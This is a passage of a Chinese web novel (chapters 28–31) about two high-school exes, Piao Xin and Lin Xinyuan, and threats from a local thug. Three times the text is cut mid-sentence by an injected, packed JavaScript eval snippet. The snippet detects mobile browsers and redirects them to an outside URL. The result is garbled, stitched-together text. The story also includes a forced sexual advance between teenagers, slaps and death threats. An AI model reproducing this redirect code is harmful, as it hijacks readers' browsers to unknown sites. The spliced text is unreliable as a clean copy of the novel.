进去房子后，客厅的布置还和她上次来的时候差不多，但桌上有几瓶没喝完的啤酒，烟灰缸里野全是烟蒂。 可以看出这几天林昕远过得很潇洒。 他人可能在房间里，客厅这边很安静，朴芯找了水壶烧水，然后去洗杯子倒水拿药。 林昕远家是两室一厅的布局，主卧的门一直在锁着，旁边侧卧的门虚掩着，朴芯尝试性地敲了两下。 没人应声，她小心地推门进去。 房间里没开空调，室内的温度比外面感觉还冷。 窗帘在拉着，室内一片漆黑，只有朴芯推开门时，客厅里的灯光才从她身后透过来，微弱地照出物体的轮廓。 朴芯端着水进去，模糊地看见林昕远正躺在床上，他睡姿很差劲，后背微微蜷缩，被子只有一小半盖在下身，剩下的全在地上。 脸侧着埋进枕头里，鼻梁很挺，睫毛密密匝匝地覆着下眼睑，可能是发烧，他皮肤泛红，眉头微蹙，罕见的比他醒着的时候有几分脆弱感。 算起来，距离朴芯上次看见他已经过了一周了，而且那次在舞厅她喝得多了，其实没太看清林昕远的身影。 朴芯顿了又顿，不知该是不是这时该叫醒他。 犹豫了一会，还是没叫他，把水杯和药都放在旁边，然后捡起地上的被子打算给他盖上。 刚动，床上的人却忽然伸手一把扯过她。 朴芯瞬间吓了一跳，立马回握住他的手臂，下意识地想掐他挣脱，但随即又想起了什么，不自觉地卸劲。 这两秒的犹豫足够林昕远把她带上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387097|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 床，他摁着朴芯的腰，男生的体温呼吸都近在咫尺，他身上温度高的吓人，低声不爽地问：“去哪？” 什么去哪？ 朴芯和他靠得太近了，近到她能感觉到对方的腿正压在她身上，炽热暧昧的呼吸扫在她颈侧，朴芯不适应地屏住呼吸。 她尝试掰林昕远的手，但却被反手抓住。 林昕远感觉自己在做梦，梦里朴芯一直在往前走，叫她她也不理人。 可能生气了，不知道为什么。 林昕远对自己梦到朴芯这件事不意外，毕竟他梦见朴芯的次数不算少，分手这段时间更是天天都是她。 床上，卫生间……十七八岁的年轻人，就算在梦里也精力十足，更何况是自己女朋友的温柔乡，少女白皙温热的手臂一缠，林昕远就彻底没招了。 有时候折腾一宿都没完，醒来往往又餍足又有些不爽。 这还是第一次，两人没直入主题。 林昕远跟着她走了两步，还没等问出什么，场景又换了，这次是床，人还躺在他身边。 可能他真跟朴芯没有共同语言，除了这件事别的都不必交流。 林昕远把人搂过来，低头就想和她接吻，但被躲开了，吻落在女生的头发上，她身上有股香味，似乎在梦中都能闻到。 她还在挣扎，掰的那几下都没什么力气，林昕远压根没管，手往别人衣服里伸，但是又被躲开。 “林昕远，你在干什么，放手……” 林昕远轻啧了声，感觉自己浑身都在冒火，他抬腿顶了下对方的小腹，语气倒是很黏糊地在哄：“干吗？以前又不是没睡过？” 朴芯怔愣住，林昕远这时也感觉出来怀里的人触感太真实了。 他半梦半醒地睁眼看，女生的脸近在咫尺，就挨着他。 很漂亮很可爱的一张脸。 艹，真不是梦。 林昕远人虽然还没完全清醒，但顿时觉得有点没趣，松手问：“谁让你来的？” 朴芯说：“徐胜。” 林昕远从昨天开始就一直在发烧，浑身都累，也挺困的，重新闭上眼说：“去外面，别在这打扰我睡觉。” 他说完侧脸，头埋进枕头里，没有再想理人的意思。 朴芯赶紧从床上起来，顾不上整理衣服就出去，坐到沙发上时才有功夫回想他刚才的话。 ——“又不是没睡过？” 和谁睡过？分手的这段时间林昕远很快找了新对象吗，还和她一起睡过？ 林昕远以为她今天会过来，但来的是朴芯，所以他刚才很快意兴阑珊？ 朴芯从沙发上拿起围巾想走，刚起身，侧卧的门开了。 林昕远似乎还困着，眼睛微眯，上身一件灰色的T恤，下身则随意的套了条短裤。 他身材属于很顶级的那款，该有的肌肉应有尽有，腿又长，因此就算这样穿也不显邋遢，就是感觉会很冷。 打眼一看，视觉冲击力很强，朴芯微不可见地别过眼。 林昕远出来往浴室走，旧房子隔音差，他进去没几秒就很明显能听到水流声响起。 朴芯在原地站了几分钟，正想走，浴室门忽然又被拉开。 朴芯抬头，看见林昕远站在浴室门旁，身上衣服全湿，而且卫生间里没有热蒸汽往外冒——林昕远刚才冲的应该是冷水澡？ 他也不说话，就站在那盯着朴芯看，气氛无端有些沉闷。 朴芯拿着围巾，也没有动。 过了会，林昕远朝后捋了把湿润的黑发，水珠沿着肩颈往下滴，说：“去厨房给我下碗面，我发烧了。” 莫名的，朴芯忽然松了口气。 28. 第 28 章 林昕远这一发烧就连续烧了好几天，体温一直降不下来，但他自己不怎么在意。 朴芯每天下午都会过来给他下碗面，然后让他吃药，说的也基本都是那几句。 “你今天还吃饭吗？” “要不要喝药？” 除此之外也没别的了，本来他们能聊的话题就不多。 林昕远没有对朴芯解释什么的义务，他和谁在一起，和谁有关系都不管朴芯的事。 毕竟严格说起来他们现在算前任。 但朴芯还是问了。 问的时候林昕远刚好洗完澡出来吃饭。 他只穿了长裤，出来先从柜子里拿烟点上，然后伸手把剩下的衣服都扔到沙发上。 最近他还在发烧，因此脸上还有些红痕，从眼下一直蔓到鼻梁，林昕远长得锋利，这点红痕更多的是暧昧而不是脆弱。 伴随着懒散的姿态，朴芯忽然感觉这一幕很像在抽事后烟。 林昕远漫无目的在房间里转了一圈，一支烟抽到一半才走到餐桌前，就这么着坐下吃面。 冬天，下午，吃面，每一个词都很普通，但组合在一起的画面却让朴芯看的有些认真。 她语气也很认真，问：“你之前说的那个女生是谁？” “嗯？” 朴芯以为他没反应过来，更加准确地说：“就是前几天我来找你，你在房间里提到的人，你说……又不是没睡过。” 林昕远听清了，他低头吃了口面问：“想知道？” “嗯，”朴芯问：“你刚才说的话是真的吗？” 林昕远点点头，不知道是在确认朴芯的话还是承认，但朴芯以为是前者，所以她很明显的皱眉，很明显的不快，可是一时间又不知道该说什么。 她攥着自己的手指缓缓用力，思绪一瞬间迟钝。 停了许久，朴芯侧身咳嗽一声，略轻声地问他：“那天，抱歉，你很疼吗？” 朴芯适合安慰人，她声音挺软的，有时候说话也能听出一些南方口音，让林昕远轻而易举地想起第一次见面。 不过走到这一步，再想以前也没用。 他不理人，朴芯也不欲再说，干脆地讲：“在舞厅的时候也谢谢你，我先走了。” 正起身准备要走，林昕远吃碗面放下筷子，拿起旁边的药往嘴里扔，他吃药是干咽，喉结顶着皮肤快速地滚动一下，然后起身去沙发那边拿打火机和烟。 惯常抽的牌子似乎也不是雨花石，朴芯见过他买烟，基本就是随手一指，拿哪盒抽哪盒。 男生上身赤/裸，锁骨线条优美，一节支出来连到肩膀，脖颈处筋脉凸起，青色的几条连到下颌。 低头点烟时睫毛轻落，发烧烧的嘴唇也偏红润。 男生长得帅的多，但帅到可以称得上性感的不多，林昕远显然就是这种人。 一举一动，摄人心魄。 只是越迷人越危险，林昕远眼瞳深暗，打量别人时像一潭深不见底的湖水，幽寂，森然。 朴芯一下警觉，眼底的情绪明显。 林昕远低低地笑了声，“你还是在梦里的时候乖一点，我让做什么就做什么，让抱就抱，让给睡就给。” 让换姿势就换，实在受不了了也只会抱着他轻声说话，梦里连发脾气都可爱，但一到现实，往往没说几句话就开始怼他。 朴芯愣住。 “我喜欢你乖一点，朴芯，”林昕远攥紧她的手，语气却平常：“你再和我耍心眼，我就弄死你。” * 朴芯不喜欢别人威胁自己，她性格里其实有倔的一面，所以接下来的几天她都没去找林昕远。 朴芯也有自己的事情，她生物实在太差劲，要趁着寒假花时间补，不然等到高考时恐怕会成为拖累。 整个假期和她联系最多的反而是徐怀仁。 徐怀仁是因为工作的原因被调任到陇县附近的砖厂，所以才暂时在陇县上学，过几年可能还会回城市生活。 他除了生物其他几门成绩都没朴芯好，两人算是互帮互助。 一眨眼很快到新年，徐怀仁问朴芯出不出来玩，班上有几个同学约着想去隔壁县看烟花。 和徐怀仁一起玩的同学大概有别于林昕远他们，基本不会参与喝酒打架的事情，都在努力的学习，为自己的未来奋斗。 但朴芯还是说了不。 一方面是她为了躲避洪强平时都很少出门，还是最近几天因为过年，陇县人多了起来，朴芯才偶尔在早上出去一趟买东西。 一方面是她不想再费心参与到任何社交中。 她婉拒了，徐怀仁也没有多强求，只是很巧，刚好那天朴芯去超市买东西，然后遇到了他们也在里面买零食准备给出发去临市。 让朴芯没想到的是吴若莹也在。 吴若莹问她去不去，说你没事一起来玩，反正闲着也是闲着。 再加上好几个同学都在劝，朴芯也不好再拒绝了，说了好。 他们去的是隔壁县城，离陇县十几公里，坐公交车过去要很久，但地方要比陇县大，听说过年的时候广场会有烟花。 跨年烟花对她来说见怪不怪，往年周婵会带她去香港的维多利亚港看新年烟花，然后在那边待一周左右。 但是陇县这边比烟花更多是爆竹和各种各样的小型烟花。 烟花秀还没开始，广场上到处都红色的爆竹纸皮，小朋友们在拿着仙女棒和手持火炬到处跑，还有些人在发水母烟花，一朵朵蓝色的烟花漂浮到空中，异常好看。 广场周边的摊位上也有卖烟花的，徐怀仁和另外几个同学每人都买了一些，兴冲冲地在广场的角落里放。 各色烟花的光芒映在他们的脸上，朴芯居然有种恍如隔世的感觉。 徐怀仁递给她几支，但朴芯没要，旁边的吴若莹也没买烟花，她出来像是只为了散心，拍拍朴芯的肩膀问：“买水，去不去？” 朴芯点头，说去。 吴若莹便扬声问那几个同学：“你们要喝什么，刘奇，雪碧喝吗？” “不喝，我要冰红茶。” “给我买瓶可乐。” “我喝酸奶。” …… “知道了，”吴若莹说：“一会把钱转给我。” 这广场附近就有超市，朴芯进去和吴若莹一起拿饮料，吴若莹看她只拿了别人的，问道：“你想喝什么，去拿一瓶。” “不用，”朴芯说：“我不渴。” 吴若莹从货架上拿了一瓶乌龙茶，递给她：“拿着吧，就当我是我的回礼，谢谢你之前送我的礼物。” 她这样说，朴芯便不再推辞。 付完钱往回走，中途像闲聊一样吴若莹问：“你高考打算考什么大学？” “南大，”朴芯说：“也不确定，我想去南方。” “那离我们这有段距离，”吴若莹说。 确实，陇县附近的大城市也有好大学，但朴芯从来都没考虑过，她要么回南京，虽然那里有朴兴南，但毕竟是她生活了十几年的地方，回忆抛之不去。 要么是去更南方上学，她喜欢不喜欢太干燥的地方。 朴芯轻声嗯了一下，问：“你呢？” “附近的安大，我挺喜欢的，分数也差不多够。” 吴若莹对自己的目标很清晰，上哪所大学，读什么大学都规划得明明白白。 朴芯由衷地夸奖：“你很厉害。” 早先混过一段时间，高二才开始努力，却能够在陇县这个教育落后的地方把分数提到安大的分数线，吴若莹不是一般的牛。 “有些事情想通了就行。”吴若莹不以为然，她往前走了几步，忽然又问：“你没听过我的事吧？” “啊？”朴芯诚恳摇头：“很少听别人说你。” “毕竟都是很久之前的事情了，”吴若莹换了只手拿饮料，她往上撸袖子，手肘处有块显眼的疤痕。 吴若莹说：“这是有一年打架留下的，我本来要打回去的，但最后却没动手。以前觉得自己年轻，大哥大姐的叫着气派，为了争一口气打架喝酒。但说真的，那些都是假的，只有自己过得好才是真的。” 那天人很多，一高的，附近几个初中和职高的，乱七八糟的来了几十个，有很多都是小小年纪满身纹身，线条纹的也乱，又丑又看不出气势，露出来只会让人笑话。 吴若莹当时也是第一次见这么大的场面，当场不适应，蹲在角落吃了根冰糕就出来。 从此就想通了一件事，什么以牙还牙，一报还一报都是假的，这些都是漩涡，越是沉浸在里面越会往下跌，赢了和输了都是一样的结果，只有学习，好好规划自己往后的人生才是真的。 朴芯听懂她话里的劝诫，有些沉默，但还是点点头。 远处放起烟花，五光十色乱升入空中，周围的人群不约而同地驻足观看，吴若莹也放慢脚步抬头看烟花。 这是朴芯第一次在陇县过年，也是最后一次，没有和林昕远一起，但是她抬头看烟花的时候却不由自主地想—— 林昕远呢，他现在在做什么。 * 林昕远什么都没干，他在家睡觉。 睡到晚上九点多徐胜带着一伙人来家里找他，本来以为他没在家，结果进来看见他沙发上坐着还吓一跳。 徐胜问：“你最近怎么天天搁家？” 以往林昕远回家的次数比他去学校还少，难得回来一次还经常是为了参加朋友间的聚会。 林昕远没搭腔，倦倦地在沙发上躺倒。 徐胜又看了一圈，问：“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“打听不到，”徐胜看林昕远表情严肃，也正经了些：“都不说，乔宇也没说。” 也不怪徐胜，他也去问了好几个人，但那天去KTV的人基本都是洪强的人，被耳提面命不让说，乔宇和罗茜自然也不可能说。 林昕远对徐胜的话反应不大，手搁在膝盖上抽烟。 徐胜稍微懂一点林昕远的心思。 他和朴芯是男女朋友，而且名正言顺，人尽皆知，结果一件事自己女朋友都不说，还需要他到处向别人打听。 就很跌份，感觉林昕远像舔狗一样。 徐胜其实对朴芯的做法也颇有微词，对乔宇也有，某种程度上两人一样，都是有话不讲，拿林昕远当外人。 估计林昕远也看出来了，所以最近这段时间无论是吃饭还是聚会都没叫过他。 魏颖听两人说了几句云里雾里的话，也没多问，在一边抽烟，关切的问：“是不是你欺负人家了她才和你分手，她甩的你？” 魏颖直接没问另外一种可能，虽然她只见过几次朴芯，但能敏锐地感觉到林昕远对她的态度不一般。 估计是栽的彻底。 她话说完，那边蹿过来一个男生，颇为大声地问：“远哥你分手了，怪不得我今天看嫂子出去和同学玩了。” 林昕远抬眼，男生自觉的走上来把手机递给他看。 手机屏上显示的是徐怀仁的朋友圈，配文是“和好朋友一起出门去广场看烟花。” 底下是几张照片，都是合照，但其中一张照片上只有三个人，朴芯在中间，徐怀仁在她左边。 不知道是为了客气还是什么，她在微微笑。 朴芯有时候真表现的挺乖的，皮肤又白，笑起来眼睛弯弯的，就算林昕远这样的人都必须承认，她招人喜欢。 睫毛敛着，鼻尖挺翘，有几分以前的样子。 林昕远缓缓抽了口烟，烟过肺，辛辣感蔓延开。 徐胜和旁边的魏颖这下都没说话，谁都知道林昕远什么脾气，玩笑能开，但是真动起怒谁都拦不住。 而且他之前又是挡酒又是为了朴芯得罪洪强的，分明就是还有感情。 可是出乎意料，林昕远没发作。 他把手机扔还给那个男生，对徐胜说道：“把洪强约出来，有些事该解决了。” 头一次，林昕远先开口说要和别人调和矛盾。 魏颖脑子里嗡一下炸了，心想，完了。 林昕远这回是要栽个大的。 29. 第 29 章 这个新年应该算是朴芯过得最不好的一个春节。 朴兴南只在初二的时候给她打过电话，说了两句就挂了，然后晚上冯梅突然给她发消息，说他们去姥爷家时发现朴兴南小女儿的手链不见了，问朴芯有没有看见。 说是问，其实什么意思朴芯也懂，估计就是怀疑她拿的。 朴芯发了个【？】 就是这个问号，让朴兴南又打电话过来劝道说，问你什么你承认不就好了，非要和你冯阿姨犟嘴？ 朴芯不知道该回什么，也不是很想回他，安静听他说了两句便挂掉电话。 一高的升学率虽然不怎么样，但开学却很早，特别是高三，年后一周学校里通知上课。 这学期老师总算管的严格了一些。 只是朴芯却更加焦虑，她之前有将近两年的时候没碰过生物，如果留在陇县高考，无论再怎么努力，成绩都将不尽人意。 而她的压力也不止来源于学业，还有陇县的人和事。 之前假期的时候朴芯极少出门，因此也没怎么遇见过洪强，但等到开学，她经常能看到几个洪强的小弟和冯江在校门口徘徊。 可能他们顾忌着谁，也没来找朴芯，但这样的盯法还是让朴芯觉得如芒在背。 这个学期罗茜照常来上学，但乔宇却时常请假。 林昕远也一直没来学校，从开学到现在，朴芯也从没在陇县遇到过他，而且这学期学校里讨论起他的声音明显变少。 或许这次林昕远真的离开了。 每次朴芯传作业的时候都会下意识地往后面的座位看一眼，座位很空，林昕远什么都没留下。 他来和走都很悄无声息，让人猝不及防。 朴芯对成绩的焦虑已经到了周围大家都能看出来的地步，周五徐怀仁特意留了半个小时帮她复习之前的知识点。 结束的时候已经快七点了，朴芯还要留下来拖地，徐怀仁说帮她，但朴芯没让，说自己来就好了，刚才已经麻烦他这么久了，实在不好意思。 徐怀仁确实人很不错，朴芯感谢地说：“下次有空我请你喝奶茶，谢谢你。” 她声音有些清软的感觉，徐怀仁耳朵一热，点头。 他也知道分寸，见朴芯坚持自己做值日就没再多强求，笑着说道：“好，等有空。你做值日别太晚了，回家注意安全。” “好的，谢谢，你也是。” 等徐怀仁走后，朴芯收拾好书包，去厕所水池洗拖把拖地。 拖完地差不多刚好七点，学校里已经空了，朴芯背着书包出门。 刚走出校门，路过附近的奶茶店时忽然有人一把拉住她的手臂，猝不及防，朴芯还没叫出声，洪强上前，指着她说：“你敢叫？叫一声我弄死你！今天林昕远可不在。” 洪强面色不善，他身边还有三四个男生围着，朴芯识实务地没挣扎，问道：“我不叫，你找我有什么事？” 她语气还算寻常，但眼底的警惕一点没少。 洪强约莫是看出来了，他阴恻恻地笑了一下，抬手拍拍朴芯的脸：“别拍啊，我找你说点事情，你真和林昕远谈过？” 朴芯不知道他问这句话是什么目的，但隐约感觉到了今天洪强找自己可能和林昕远的事有。 沉默了两秒说：“现在没谈。” 洪强猛然抬手一巴掌扇在她脸上，狠狠淬道：“biao子，我tm追了你这么久，你和他上床？” 旁边冯江拱火：“哥我早说了像她们这种女的都是白眼狼……” 猝不及防的一下，朴芯脸上火辣辣的疼，其实这种程度的疼痛她两个月前很熟悉来着。 这一巴掌直接把朴芯拉回到林昕远离开的那段时间，无休无止的暴力，针对，她连脸都没有捂，有些无所谓地垂手说：“我需要他帮我挡事，他和我同班比较方便，我不是真的喜欢他，他也没多喜欢我。” 洪强又冷笑了两声，伸手掐她的脸。 朴芯没动，心底一阵恐慌。 学校附近的奶茶店到七点多都陆续下班，店员们离开时也经过这条街，但远远的望见这边的洪强几人时都识趣地避开。 洪强身后的一个男生提醒说：“强哥，晚上还要去舞厅……” 话还没说完就被冯江打断：“知道了，催什么催，没看这边正忙着吗？” “艹你m的，和你说话了？” 冯江就算在洪强的小弟中人缘也堪忧，长得丑还狗仗人势，属于人见狗嫌的那一类，能在洪强身边跟这么久完全是因为他听话，洪强让他往东他不敢往西。 因此当即回道：“你骂谁？！你以为我不敢打你？” 两个小弟吵这么几句，洪强脸一下拉得老长，一人给他们一脚训斥道：“闭嘴，没点规矩。” 冯江和刚才说话的那个小个子男生立马讪讪地安静下来。 朴芯旁观着一幕，忽然觉得有点荒唐。 明明这个社会有法律有道德，他们却还要用暴力和地位建立另外一套规则，谁打架厉害，谁就是老大。 洪强被两人这一打岔也干脆直入主题，扯过朴芯书包吩咐道：“把林昕远叫过来上学，把他约出来。” 朴芯心中一凛，抬眼：“他可能已经被他妈妈接走了，而且我们分手了，他不会再理我了。” “你想办法啊！” 洪强其实长得也不怎么样，三角眼，下三白，所幸脸型没有冯江那么崎岖，所以看上去还像正常人，但一皱眉就凶相毕现，说道：“你不是跟他上过出床吗，再约他一次不会？” “他身边女生很多，就算我约他他也不可能出来。” “他没走，你先试试，”洪强目光阴冷，威胁道：“别耍心机，林昕远他不可能二十四小时护着你，你以为我不知道你家在哪？” 话说到这个份上，这件事朴芯是非做不可了。 她大致也明白为什么洪强让她去约林昕远，原因可能还在于那天在舞厅林昕远帮她挡酒。 洪强觉得林昕远对她还有感情，一方面觉得她能约出来林昕远，一方面的意思是你林昕远不是在乎这个女生吗，那好，我就让她约你，看看她是怎么背叛你帮我的。 良久，朴芯还是点了下头，但说：“我不一定能做到。” 洪强又拍拍她的脸，半警告半促狭：“谁能不喜欢你啊，去吧，别让我等太久。” * 朴芯压根就没有林昕远的联系方式，到晚上坐下书桌前写了一会生物，很多题她还是不太懂，写了半天，就写了几个大题的填空。 大脑昏沉，朴芯放下笔，想起今天晚上洪强说的话。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16387099|184206||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 如果她不约林昕远出来，洪强可能真的会来家里找她，去学校也可以。 冯江他们上次能混进学校，下次也可以，到时候如果在班级门口堵她，无论如何，朴芯都逃不了。 她被困在一个死局里，唯一一把能破局的钥匙是林昕远。 朴芯趴在桌上趴了一会，桌面冰凉，她打开手机，熟练的摁下一串号码。 ——之前林昕远总是把自己的手机扔给她，所以其实朴芯是记得他的电话号和vx号的，她编辑了一条了短信，措辞简短，就一句询问。 【你明天来学校吗？】 * 林昕远收到消息时正在和徐胜他们喝酒。 他没喝，就在一旁看着。 徐胜喝多了不像乔宇会拉着人乱聊，他唱歌，一嗓子接着一嗓子的吼，都是些烂俗的情歌。 林昕远跟修身养性一样，这个氛围下还点了碗清汤面悠闲的吃着。 没吃两口，徐胜凑过来问：“你上次让我约洪强出来，约他出来是想干什么，打架？” 徐胜以前也和洪强打过交道，对他的评价就是睚眦必报，小心眼的狠人。 不得不说，以林昕远的作风能和洪强在同一个小县城共处这么多年也是稀奇。 毕竟林昕远谁的面子都不给，管你是谁，只要惹到他说翻脸就翻脸。 洪强那边的人他不知道打过多少回了，洪强也找过他，上次冯江去一高就是他派过去堵林昕远了，但就是没正式闹掰，到非要打一架不可的地步。 然而这次不一样。 先不说林昕远离开前在学校把冯江打了一顿，本来就惹的洪强不快，两人隐约有要针锋相对的意思，只不过因为林昕远走的突然，这件事才这么搁置下来了。 这次林昕远为了朴芯喝酒，明面上是给了洪强面子没错，但说到底，还是打扰了洪强的泡妞。 自己看上的女生被别人抢了，光凭这一点就能让洪强气疯。 新仇旧恨加在一起，估计这事是难办了。 当时林昕远说的那句“有些事该解决了”，魏颖听出来他的目的是要说和，不然以林昕远的性格，要是想打架在舞厅那天就动手了。 但徐胜没有听明白，他以为林昕远约洪强出来是想打一场大的，非常不赞同，主要还是担心林昕远。 所以直到现在还没开始约洪强。 林昕远吃着面，嗯了一声。 徐胜以为他承认了，连啧好几声，半醉不醉地说：“你别怪哥们没提醒你，你要弄不死他下次洪强肯定记仇，下次还来找你，到时候这件事就没个结束。” 打来打去有什么结果吗？ 没有，暴力永远是最下乘的手段，唯一的结果只可能是医院或者是警局。 徐胜约摸是明白什么，大着舌头劝道：“分都分了，有些事你就别管了……” 林昕远就是在这个时候看到的朴芯的消息，他看完也没有回，把手机倒扣在桌上。 然后几口吃完剩下的面。 刚一月份，天气尚且寒冷，林昕远身上更自带一股冷感，起身拿起桌上的烟盒，徐胜还在说：“你说你本来和洪强不尴不尬地处着就也挺好的，你非要去挡酒……” 林昕远拍拍他的肩膀：“我有分寸，先走了。” 30. 第 30 章 朴芯其实没指望林昕远会来上学。 发这句话也仅仅是为了试探，这她不清楚到底该怎么做，如果不按照洪强要求照做，他百分之百不会放过自己。 可是，那林昕远呢？ 先不说自己到底能不能约出林昕远，就算真能把他约出来，一旦林昕远知道别人背叛他，自己的下场也好不到哪去。 所以一切只能走一步看一步。 朴芯久违地感到烦躁，像那天知道朴兴南要来接自己去他家里住，本来说好了是早上九点在路口见面。 但朴芯从上午等到下午，一天都蹲在那里，朴兴南到下午四五点才过来。 当时周围人群纷杂，朴芯拖着行李箱有种不知道自己该干什么，不知道未来会发生什么的茫然烦闷感。 那条消息林昕远也没有回复。 直到周四那天中午，朴芯没有待到学校吃饭，而是出去买了杯奶茶打算给徐怀仁。 刚好她回来的时候在楼梯上遇到了徐怀仁，后者正打算去办公室找班主任拿订购教材的统计表。 朴芯便把手里的奶茶递给他说：“谢谢你这些天的帮助。” 奶茶是薄荷青提热饮，徐怀仁先推辞了几句，然后才说了声谢谢，刚握住杯子却被烫了一下。 朴芯这个时候才反应过来，她手往塑料包装的边缘移了些许说：“我点的是热饮，可能比较烫，你当心，拿这里吧。” 徐怀仁也轻轻笑了下，说好，伸手去接，两人的距离无限近。 林昕远刚走上楼梯，看见的就是这一幕。 不刺眼，甚至还有点赏心悦目，就跟校园剧里那些再正常不过的青涩懵懂的接触一模一样。 他刚在这站了几秒，朴芯和徐怀仁就也注意到他了。 林昕远应该是正要上楼，要靠不靠地挨着栏杆，这几天他应该是过得挺放纵的，眼下有片明显的青色，伴随着挺拔的骨相，随便一个抬头就侵略感十足。 他目光定在朴芯身上。 朴芯被看的不适应，下意识地松手，后退半步和徐怀仁拉开距离。 徐怀仁和林昕远不熟，两人之前见面林昕远甚至都不会看他一眼，但现在这种情况下，徐怀仁还是打招呼了：“你来上学了？” 林昕远连看都没看他。 一时间谁也没说话，气氛有些沉闷，好一会，林昕远才轻扯了下嘴角，还是很寻常的语调，声音有些沙哑，似笑非笑的：“我说真的，我对女朋友管得很严。” 朴芯一下愣在原地。 * 中午匆匆见了一面，林昕远没有直接回教室，到下午上课他才出现。 朴芯在后面听见动静，想转头问他中午说的话是什么意思，是要复合吗？ 但是每次刚想回头时却又莫名地停住。 整个下午，朴芯的脑子里都是他的那句话和洪强的事情。 越想越头疼，手里的作业也写不下去，最后一节晚自习朴芯干脆趴在桌上休息。 放学前的二十分钟，徐怀仁手上拿着订购教材的统计单下来让同学们签名。 教材是课外辅导的资料，这学期高三，需要用的资料多，价钱也不便宜，徐怀仁走过，教室里偶尔响起几句抱怨：“好贵，还不如去打工。” “又这么多，学校抢钱呢。” …… 到朴芯这一排是从后往前签的，朴芯昨天一直在背生物知识点，睡的很晚，休息这一会隐约有睡着的趋势。 意识模糊地听到后面徐怀仁说话：“你还要订教材吗？” 林昕远不知道说了什么，徐怀仁又接话：“你学籍已经不在我们学校了，订这里的教材浪费钱。” “我付得起……” 林昕远确实不缺钱，他妈妈应该非常舍得给他花钱。 之前朴芯去他家的时候，看到他衣柜有几件奢牌衣服，掺杂在普通的T恤卫衣里极其显眼，只不过林昕远从来没穿过。 徐怀仁应该又说了句什么，朴芯没听清，就听见几个字：“如果你林叔还在……” 忽然，后面传来一声巨响，朴芯立马惊醒，直起身往后看。 正好看到徐怀仁被踹得倒退两步砸在后排男生的背上，手里的统计单散落一地。 被砸的那个男生硬是一声都没吭，假装自己是透明人。 林昕远表情很淡，他是下手越狠越没表情的那种，说：“地上的东西捡了。” 徐怀仁一开始没动，他推了下掉落的眼镜，过了几秒才拱着身子走过来弯腰捡起统计单。 刚捡完，还没等他直起身，林昕远突然又抬脚踹在他膝盖上，男生瞬间失力跪地，刚想扶着桌子站起来。 林昕远往后靠，椅背抵墙，语气森然：“你敢动一个试试？” 他是什么脾气班上其他同学也知道，惹到的下场不会好到哪去。 徐怀仁不由得攥紧拳头。 教室里鸦雀无声，朴芯也是这个时候才反应过来，浑身的血往上逆流，什么也顾不得了，立马说话：“林昕远，你干什么？” 她伸手扶徐怀仁，“你别怕他，起来好了。” 徐怀仁迟疑了一秒，在她的搀扶下起来，“刚才吵醒你了？” 朴芯摇摇头。 就这一幕比中午那会还让人觉得刺眼，林昕远慢慢勾起嘴角，目光冷肃，声音压得极低：“你心疼他啊？” 朴芯转过头，其实她是想着林昕远好好说话的，但是目前的状况不行。 她不能接受林昕远这幅欺负人的姿态，也因为烦心，听不了他这么冲的语气。 她站直身体说：“对，怎么样？” 这句话特别挑衅，林昕远心底的火只一下就被激起来，火烧连营般连带着五脏六腑都是疼的。 是，这么多天她都不来找自己，人家天天辅导作业天天在一起接触的，可比他有 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徐胜被怼反而乐了。 就林昕远这样一看就是去学校吃瘪了，但徐胜反而觉得这是好事，他拿着筷子夹锅里的丸子说， “你也别太伤心了，这谈恋爱分手再正常不过了。哥们说几句不好听的，人家一个小姑娘，长得又不差，还是大城市来的，能看得上我们这的人？她早晚有一天要走的，现在分了也挺好的，有些事你就别操心了。洪强我就不约了？” 这确实是句句不中听，徐胜见他没回，又说：“我是真不赞同你约洪强，你这一低头，他指不定怎么折腾你。你搞得跟怨夫一样，人家惹你了？要谈你就好好谈啊。” “谁说我不想好好谈了？”林昕远钦灭烟，脑海里一瞬间是朴芯站在他面前说你不愿意理我就算了时的场景。 低着头，其实很可怜。 林昕远起身：“别在这话多了，吃完赶紧滚。” 徐胜：“……” * 晚上朴芯收到了徐怀仁发来的消息，问她有没有事。 朴芯回复说没有。 或许是不想她误会，徐怀仁那边又发过来一条【今天的事谢谢你，林昕远的父亲林叔生前在我爸负责的厂子里工作过，林叔出事后他对我们家可能有误会。其实这么多年我们一直希望他能振作起来】 林昕远父亲的事朴芯之前听说过，疲劳驾驶导致货车在运输途中出现事故，但还是第一次知道这个细节。 朴芯没法说什么，这和她没关系，就发了句【嗯】 可能是这个回答有些简短，对话框上方的“正在输入中……”显示了一会，还没等徐怀仁发出来，另外一条消息先跳出来。 159开头，简短的两个字【出来】 31. 第 31 章 推开门看见林昕远，夜色深重，他站在不远处看着朴芯。 脸上没什么表情，也不在抽烟，就这么干站着，仿佛是等了很久，久到漫长的等待消耗了一些白天的锐气，他难得看起来有些温和。 见了面林昕远也没说别的，朝前点点头，示意朴芯往前走。 朴芯愣了下，往前走。 